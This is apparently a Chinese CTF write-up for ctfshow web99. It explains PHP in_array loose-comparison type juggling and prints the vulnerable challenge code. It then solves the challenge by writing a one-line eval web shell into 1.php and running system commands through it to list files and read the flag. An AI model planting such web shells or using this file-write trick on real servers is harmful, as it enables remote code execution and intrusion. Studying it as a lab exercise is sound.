[ctfshow web入门]web99 in_array的弱比较漏洞

信息收集

array_push(array, value):向数组最后的位置插入value

in_array(value, array, type):其中value是要查找的值,array是需要查找的的数组,type是查找的类型,如果没有指定类型,则以弱比较方式查找

in_array存在一个弱比较漏洞,也就是当type设置时,且value的类型与数组数据内容类型不同时,value会被转化为数组数据的类型。此时如果value是字符串,而array数据类型是int,那么字符串会被转化为int

php 复制代码
highlight_file(__FILE__);
// 生成一个数组
$allow = array();
// 遍历 36 到 0x36d;0x36d = 877
// 向数组插入元素,随机数1到最多877
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
// 查询是否存在$_GET['n'],如果存在则以$_GET['n']为文件名写入$_POST['content']
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

解题

由于in_array未设置type,我们构造?n=1.php,此时in_array比较时,1.php被强制类型转化为int,也就是1,1大概率存在于数组中,此时我们向1.php写入一句话木马即可

s 复制代码
?n=1.php
post:
content=<?php eval($_GET[cmd]);?>

再访问我们的木马文件,获取目录和flag

s 复制代码
1.php?cmd=system('ls');
1.php?cmd=system('tac flag36d.php');

web    目录    web

相关推荐
BingoGo14 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack14 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全
QQ5110082854 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php